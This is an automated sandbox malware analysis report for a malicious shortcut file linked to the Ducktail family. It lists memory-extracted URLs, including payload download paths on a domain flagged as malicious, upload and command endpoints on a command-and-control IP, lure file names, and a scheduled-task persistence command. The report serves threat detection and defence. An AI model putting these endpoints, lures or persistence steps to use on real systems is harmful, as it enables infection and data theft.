http://schemas.xmlsoap.org/ws/2005/02/sc0	svchost.exe, 00000014.00000003.3813396642.00000218EFF50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924615455.00000218EFF51000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000D.00000002.4510984351.000002932AB9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/7fd1a89d0020dcffe37c334092d29597499af8b82a4f37fb75f7f3a0a1257f1e979bdbe	powershell.exe, 00000004.00000002.3838510070.000002513EA5B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.ver)	svchost.exe, 00000014.00000002.4925863856.00000218F0425000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://passport.net/tb	svchost.exe, 00000014.00000002.4925437042.00000218F0400000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.3736924870.0000012F39523000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AD4E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.(	svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.htmlXz	powershell.exe, 00000003.00000002.3609302778.0000020AB443C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3838510070.000002513E59D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AD4E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	powershell.exe, 00000008.00000002.3792164808.0000012F50170000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>M.	svchost.exe, 00000014.00000002.4923535005.00000218EF713000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931B0A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-compatibilityY	svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp	false		high
https://github.com/Pester/Pesterh	powershell.exe, 00000003.00000002.3609302778.0000020AB55AD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3609302778.0000020AB558F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F3954C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F39523000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	svchost.exe, 00000014.00000002.4924774143.00000218EFF6B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.openxml	powershell.exe, 00000008.00000002.3796835201.0000012F5083C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba43c8e1d00e502	powershell.exe, 00000004.00000002.3838510070.000002513E765000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pesterbdd.com/images/Pester.pngXz	powershell.exe, 00000003.00000002.3609302778.0000020AB443C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3838510070.000002513E59D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AD4E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://html4/loose.dtd	powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/nativeaot-c	svczHost.exe, myRdpService.exe	false		high
https://cocomethode.de	powershell.exe, 00000004.00000002.3838510070.000002513E59D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F38CB3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931C2A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AEF2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80601y0	svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/442d6d2bbbf95a0c2d98335c7cf12d9d4a2163bfd33f42547d8e2176349fc5bec999df7	powershell.exe, 0000000D.00000002.4081585775.000002931AB21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AD4E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/License	powershell.exe, 0000000D.00000002.4510984351.000002932AB9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.live.	svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://account.live.com/Wizard/Password/Change?id=8	svchost.exe, 00000014.00000002.4921923567.00000218EF62A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924156049.00000218EFF13000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80604Lv	svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/d51c3dcb853d6c497196480b03dbc640248fcef44df66b5a162e2d46de68ca13d57f766	powershell.exe, 00000004.00000002.3838510070.000002513E765000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://.css	powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID	svchost.exe, 00000014.00000003.3793237973.00000218EFF2A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/runtime	powershell.exe, 0000000D.00000002.4510984351.000002932AE23000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.4058609277.00007FF7B16C2000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013850E48000.00000004.00001000.00020000.00000000.sdmp	false		high
https://aka.ms/dotnet-warnings/	powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4510984351.000002932AE23000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000016.00000000.4058609277.00007FF7B16C2000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013850E48000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp, myRdpService.exe	false		high
https://contoso.com/	powershell.exe, 0000000D.00000002.4510984351.000002932AB9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/PesterXz	powershell.exe, 00000003.00000002.3609302778.0000020AB443C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3838510070.000002513E59D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4081585775.000002931AD4E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 00000014.00000003.3803366589.00000218EFF7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3803398861.00000218EFF2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3803150256.00000218EFF2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924963717.00000218EFF7D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.jpg	powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4924718237.0000013851746000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.4934498450.00007FF7B17DB000.00000002.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
https://signup.live.com/signup.aspx	svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.live./deviceaddcr.srf	svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://Passport.NET/STS%3C/ds:KeyName%3E	svchost.exe, 00000014.00000002.4923535005.00000218EF713000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.3626939456.0000020AC43CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3626939456.0000020AC4294000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3609302778.0000020AB56FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3879387426.000002514E58C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3879387426.000002514E3E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3782474079.0000012F480C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F3969C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.4510984351.000002932AB9A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000008.00000002.3736924870.0000012F38E9C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	svchost.exe, 00000014.00000003.3813396642.00000218EFF50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924615455.00000218EFF51000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.pngh	powershell.exe, 00000003.00000002.3609302778.0000020AB55AD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3609302778.0000020AB558F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F3954C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3736924870.0000012F39523000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bcd34fb5	powershell.exe, 00000008.00000002.3736924870.0000012F382B9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4923374632.00000218EF702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791218809.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoft.	powershell.exe, 0000000D.00000002.4623771844.0000029333F8D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba65e9b16659fd9	powershell.exe, 00000004.00000002.3838510070.000002513E765000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	svchost.exe, 00000014.00000003.3793237973.00000218EFF30000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3793237973.00000218EFF2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924774143.00000218EFF6B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/Wizard/Password/Change?id=80601	svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3790941948.00000218EFF2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	svchost.exe, 00000014.00000003.3791156023.00000218EFF3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.3791284890.00000218EFF40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4922050387.00000218EF640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.4924481194.00000218EFF37000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.88.71.29	unknown	United States		18978	ENZUINC-US	false
172.67.128.139	cocomethode.de	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573010
Start date and time:	2024-12-11 12:27:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2021, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected VM Detection
Number of analysed new started processes analysed:	57
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	WXahq3ZEss.lnk
Detection:	MAL
Classification:	mal100.troj.expl.evad.winLNK@81/64@2/2
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): RuntimeBroker.exe, backgroundTaskHost.exe, WmiPrvSE.exe, TextInputHost.exe
Excluded IPs from analysis (whitelisted): 52.109.13.124, 52.111.227.11, 52.113.194.132, 52.109.16.83, 20.190.157.15, 40.126.29.12, 40.126.29.15, 40.126.29.13, 40.126.29.6, 20.190.157.3, 20.190.157.11, 20.190.157.2, 20.189.173.26, 52.111.227.14, 64.233.176.94
Excluded domains from analysis (whitelisted): prod.ols.live.com.akadns.net, onedscolprdwus19.westus.cloudapp.azure.com, eus-azsc-config.officeapps.live.com, ecs-office.s-0005.s-msedge.net, login.live.com, officeclient.microsoft.com, www.gstatic.com, ecs.office.com, self-events-data.trafficmanager.net, prdv4a.aadg.msidentity.com, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, s-0005-office.config.skype.com, prod.nexusrules.live.com.akadns.net, login.msa.msidentity.com, s-0005.s-msedge.net, config.officeapps.live.com, us.configsvc1.live.com.akadns.net, ecs.office.trafficmanager.net, nexusrules.officeapps.live.com, api.msn.com, ols.officeapps.live.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target myRdpService.exe, PID 5348 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1040 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1404 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2376 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4588 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6808 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8516 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8736 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8856 because it is empty
Execution Graph export aborted for target svczHost.exe, PID 3548 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:29:12	API Interceptor	1265x Sleep call for process: powershell.exe modified
06:31:22	API Interceptor	3x Sleep call for process: myRdpService.exe modified
12:30:00	Task Scheduler	Run new task: zServicecakoi10 path: C:\Windows\Temp\svczHost.exe s>cakoi10 cocomethode.de

LLM Input / Output

Input	Output
URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 20 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 22 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 19 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 17 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 21 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 18 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 15 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 16 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 20 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 13 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 22 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 18 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 15 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 19 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 17 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 21 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 14 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 12 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 16 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.88.71.29	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	kingsmaker_4.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/command/ws
	kingsmaker_6.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	kingsmaker.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	Job Description.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	Emloyment Form.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	Company Booklet.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	Company Booklet.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	Job Description.lnk.download.lnk	Get hash	malicious	RDPWrap Tool, Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cocomethode.de	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
